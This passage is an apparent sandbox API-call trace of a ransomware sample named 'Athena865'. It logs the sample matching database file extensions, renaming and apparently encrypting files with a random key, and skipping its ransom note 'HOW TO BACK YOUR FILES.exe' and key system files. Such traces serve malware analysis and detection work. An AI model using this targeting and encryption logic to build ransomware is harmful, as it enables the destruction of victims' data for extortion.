[0064.954] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0064.954] lstrlenW (lpString="db2") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0064.954] lstrlenW (lpString="db3") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0064.954] lstrlenW (lpString="dbf") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0064.954] lstrlenW (lpString="mdf") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0064.954] lstrlenW (lpString="mdb") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0064.954] lstrlenW (lpString="sql") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0064.954] lstrlenW (lpString="sqlite") returned 6 [0064.954] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0064.954] lstrlenW (lpString="sqlite3") returned 7 [0064.954] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0064.954] lstrlenW (lpString="sqlitedb") returned 8 [0064.954] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0064.954] lstrlenW (lpString="xml") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0064.954] lstrlenW (lpString="$er") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0064.954] lstrlenW (lpString="4dd") returned 3 [0064.954] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0064.955] lstrlenW (lpString="4dl") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0064.955] lstrlenW (lpString="^^^") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0064.955] lstrlenW (lpString="abs") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0064.955] lstrlenW (lpString="abx") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0064.955] lstrlenW (lpString="accdb") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0064.955] lstrlenW (lpString="accdc") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0064.955] lstrlenW (lpString="accde") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0064.955] lstrlenW (lpString="accdr") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0064.955] lstrlenW (lpString="accdt") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0064.955] lstrlenW (lpString="accdw") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0064.955] lstrlenW (lpString="accft") returned 5 [0064.955] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0064.955] lstrlenW (lpString="adb") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.955] lstrlenW (lpString="adb") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.955] lstrlenW (lpString="ade") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0064.955] lstrlenW (lpString="adf") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0064.955] lstrlenW (lpString="adn") returned 3 [0064.955] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0064.956] lstrlenW (lpString="adp") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0064.956] lstrlenW (lpString="alf") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0064.956] lstrlenW (lpString="ask") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0064.956] lstrlenW (lpString="btr") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0064.956] lstrlenW (lpString="cat") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0064.956] lstrlenW (lpString="cdb") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0064.956] lstrlenW (lpString="ckp") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0064.956] lstrlenW (lpString="cma") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0064.956] lstrlenW (lpString="cpd") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0064.956] lstrlenW (lpString="dacpac") returned 6 [0064.956] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0064.956] lstrlenW (lpString="dad") returned 3 [0064.956] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0064.956] lstrlenW (lpString="dadiagrams") returned 10 [0064.956] lstrcmpiW (lpString1="pi.dll.mui", lpString2="dadiagrams") returned 1 [0064.956] lstrlenW (lpString="daschema") returned 8 [0064.956] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0064.956] lstrlenW (lpString="db-journal") returned 10 [0064.956] lstrcmpiW (lpString1="pi.dll.mui", lpString2="db-journal") returned 1 [0064.956] lstrlenW (lpString="db-shm") returned 6 [0064.956] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0064.956] lstrlenW (lpString="db-wal") returned 6 [0064.956] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0064.956] lstrlenW (lpString="dbc") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0064.957] lstrlenW (lpString="dbs") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0064.957] lstrlenW (lpString="dbt") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0064.957] lstrlenW (lpString="dbv") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0064.957] lstrlenW (lpString="dbx") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0064.957] lstrlenW (lpString="dcb") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0064.957] lstrlenW (lpString="dct") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0064.957] lstrlenW (lpString="dcx") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0064.957] lstrlenW (lpString="ddl") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0064.957] lstrlenW (lpString="dlis") returned 4 [0064.957] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0064.957] lstrlenW (lpString="dp1") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0064.957] lstrlenW (lpString="dqy") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0064.957] lstrlenW (lpString="dsk") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0064.957] lstrlenW (lpString="dsn") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0064.957] lstrlenW (lpString="dtsx") returned 4 [0064.957] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0064.957] lstrlenW (lpString="dxl") returned 3 [0064.957] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0064.957] lstrlenW (lpString="eco") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0064.958] lstrlenW (lpString="ecx") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0064.958] lstrlenW (lpString="edb") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0064.958] lstrlenW (lpString="epim") returned 4 [0064.958] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0064.958] lstrlenW (lpString="fcd") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0064.958] lstrlenW (lpString="fdb") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0064.958] lstrlenW (lpString="fic") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0064.958] lstrlenW (lpString="flexolibrary") returned 12 [0064.958] lstrcmpiW (lpString1="mapi.dll.mui", lpString2="flexolibrary") returned 1 [0064.958] lstrlenW (lpString="fm5") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0064.958] lstrlenW (lpString="fmp") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0064.958] lstrlenW (lpString="fmp12") returned 5 [0064.958] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0064.958] lstrlenW (lpString="fmpsl") returned 5 [0064.958] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0064.958] lstrlenW (lpString="fol") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0064.958] lstrlenW (lpString="fp3") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0064.958] lstrlenW (lpString="fp4") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0064.958] lstrlenW (lpString="fp5") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0064.958] lstrlenW (lpString="fp7") returned 3 [0064.958] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0064.959] lstrlenW (lpString="fpt") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0064.959] lstrlenW (lpString="frm") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0064.959] lstrlenW (lpString="gdb") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0064.959] lstrlenW (lpString="gdb") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0064.959] lstrlenW (lpString="grdb") returned 4 [0064.959] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0064.959] lstrlenW (lpString="gwi") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0064.959] lstrlenW (lpString="hdb") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0064.959] lstrlenW (lpString="his") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0064.959] lstrlenW (lpString="ib") returned 2 [0064.959] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0064.959] lstrlenW (lpString="idb") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0064.959] lstrlenW (lpString="ihx") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0064.959] lstrlenW (lpString="itdb") returned 4 [0064.959] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0064.959] lstrlenW (lpString="itw") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0064.959] lstrlenW (lpString="jet") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0064.959] lstrlenW (lpString="jtx") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0064.959] lstrlenW (lpString="kdb") returned 3 [0064.959] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0064.959] lstrlenW (lpString="kexi") returned 4 [0064.960] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0064.960] lstrlenW (lpString="kexic") returned 5 [0064.960] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0064.960] lstrlenW (lpString="kexis") returned 5 [0064.960] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0064.960] lstrlenW (lpString="lgc") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0064.960] lstrlenW (lpString="lwx") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0064.960] lstrlenW (lpString="maf") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0064.960] lstrlenW (lpString="maq") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0064.960] lstrlenW (lpString="mar") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0064.960] lstrlenW (lpString="marshal") returned 7 [0064.960] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0064.960] lstrlenW (lpString="mas") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0064.960] lstrlenW (lpString="mav") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0064.960] lstrlenW (lpString="maw") returned 3 [0064.960] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0064.960] lstrlenW (lpString="mdbhtml") returned 7 [0064.960] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0064.969] lstrlenW (lpString="mdn") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0064.969] lstrlenW (lpString="mdt") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0064.969] lstrlenW (lpString="mfd") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0064.969] lstrlenW (lpString="mpd") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0064.969] lstrlenW (lpString="mrg") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0064.969] lstrlenW (lpString="mud") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0064.969] lstrlenW (lpString="mwb") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0064.969] lstrlenW (lpString="myd") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0064.969] lstrlenW (lpString="ndf") returned 3 [0064.969] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0064.969] lstrlenW (lpString="nnt") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0064.970] lstrlenW (lpString="nrmlib") returned 6 [0064.970] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0064.970] lstrlenW (lpString="ns2") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0064.970] lstrlenW (lpString="ns3") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0064.970] lstrlenW (lpString="ns4") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0064.970] lstrlenW (lpString="nsf") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0064.970] lstrlenW (lpString="nv") returned 2 [0064.970] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0064.970] lstrlenW (lpString="nv2") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0064.970] lstrlenW (lpString="nwdb") returned 4 [0064.970] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0064.970] lstrlenW (lpString="nyf") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0064.970] lstrlenW (lpString="odb") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0064.970] lstrlenW (lpString="odb") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0064.970] lstrlenW (lpString="oqy") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0064.970] lstrlenW (lpString="ora") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0064.970] lstrlenW (lpString="orx") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0064.970] lstrlenW (lpString="owc") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0064.970] lstrlenW (lpString="p96") returned 3 [0064.970] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0064.971] lstrlenW (lpString="p97") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0064.971] lstrlenW (lpString="pan") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0064.971] lstrlenW (lpString="pdb") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0064.971] lstrlenW (lpString="pdm") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0064.971] lstrlenW (lpString="pnz") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0064.971] lstrlenW (lpString="qry") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0064.971] lstrlenW (lpString="qvd") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0064.971] lstrlenW (lpString="rbf") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0064.971] lstrlenW (lpString="rctd") returned 4 [0064.971] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0064.971] lstrlenW (lpString="rod") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0064.971] lstrlenW (lpString="rodx") returned 4 [0064.971] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0064.971] lstrlenW (lpString="rpd") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0064.971] lstrlenW (lpString="rsd") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0064.971] lstrlenW (lpString="sas7bdat") returned 8 [0064.971] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0064.971] lstrlenW (lpString="sbf") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0064.971] lstrlenW (lpString="scx") returned 3 [0064.971] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0064.972] lstrlenW (lpString="sdb") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0064.972] lstrlenW (lpString="sdc") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0064.972] lstrlenW (lpString="sdf") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0064.972] lstrlenW (lpString="sis") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0064.972] lstrlenW (lpString="spq") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0064.972] lstrlenW (lpString="te") returned 2 [0064.972] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0064.972] lstrlenW (lpString="teacher") returned 7 [0064.972] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0064.972] lstrlenW (lpString="tmd") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0064.972] lstrlenW (lpString="tps") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0064.972] lstrlenW (lpString="trc") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0064.972] lstrlenW (lpString="trc") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0064.972] lstrlenW (lpString="trm") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0064.972] lstrlenW (lpString="udb") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0064.972] lstrlenW (lpString="udl") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0064.972] lstrlenW (lpString="usr") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0064.972] lstrlenW (lpString="v12") returned 3 [0064.972] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0064.972] lstrlenW (lpString="vis") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0064.973] lstrlenW (lpString="vpd") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0064.973] lstrlenW (lpString="vvv") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0064.973] lstrlenW (lpString="wdb") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0064.973] lstrlenW (lpString="wmdb") returned 4 [0064.973] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0064.973] lstrlenW (lpString="wrk") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0064.973] lstrlenW (lpString="xdb") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0064.973] lstrlenW (lpString="xld") returned 3 [0064.973] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0064.973] lstrlenW (lpString="xmlff") returned 5 [0064.973] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0064.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865") returned 65 [0064.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.athena865"), dwFlags=0x1) returned 1 [0064.975] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.Athena865" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0064.975] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0064.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.975] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.976] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.976] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.976] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0064.978] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0064.978] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.979] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.979] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.980] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.980] CloseHandle (hObject=0x154) returned 1 [0064.980] CloseHandle (hObject=0x17c) returned 1 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.980] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe37df40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe37df40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.980] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.980] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="windows") returned -1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="bootmgr") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="temp") returned -1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="pagefile.sys") returned -1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="boot") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ids.txt") returned 1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ntuser.dat") returned -1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="perflogs") returned -1 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="MSBuild") returned -1 [0064.981] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0064.981] lstrcpyW (in: lpString1=0x241e89a, lpString2="iedvtool.dll.mui" | out: lpString1="iedvtool.dll.mui") returned="iedvtool.dll.mui" [0064.981] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0064.981] lstrlenW (lpString="Athena865") returned 9 [0064.981] lstrcmpiW (lpString1="l.dll.mui", lpString2="Athena865") returned 1 [0064.981] lstrlenW (lpString=".dll") returned 4 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".lnk") returned 4 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".lnk") returned 1 [0064.981] lstrlenW (lpString=".ini") returned 4 [0064.981] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".ini") returned 1 